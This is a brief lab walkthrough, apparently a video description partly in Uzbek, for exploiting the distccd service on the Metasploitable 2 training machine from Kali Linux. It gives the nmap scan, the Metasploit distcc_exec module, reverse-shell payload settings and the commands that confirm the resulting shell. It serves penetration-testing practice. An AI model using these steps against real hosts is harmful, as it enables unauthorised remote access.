
Ushbu videoda Metasploitable 2 tizimidagi distccd servisidagi zaiflikdan foydalanib, Kali Linux orqali remote shell olish ko‘rsatib beriladi.
nmap -sV -p 3632 192.168.56.102
✅ Result will be like this:
3632/tcp open distccd v1
👉 So distcc is open and exploitable.
msfconsole
use exploit/unix/misc/distcc_exec
show options
Required parameters:
Option Value RHOSTS Metasploitable IP RPORT 3632 PAYLOAD cmd/unix/reverse
set RHOSTS 192.168.56.102
set PAYLOAD cmd/unix/reverse
set LHOST 192.168.56.101
LHOST — your Kali Linux IP address
run
🎉 Result
If successful:
[*] Command shell session opened
Check the shell:
whoami
uname -a
id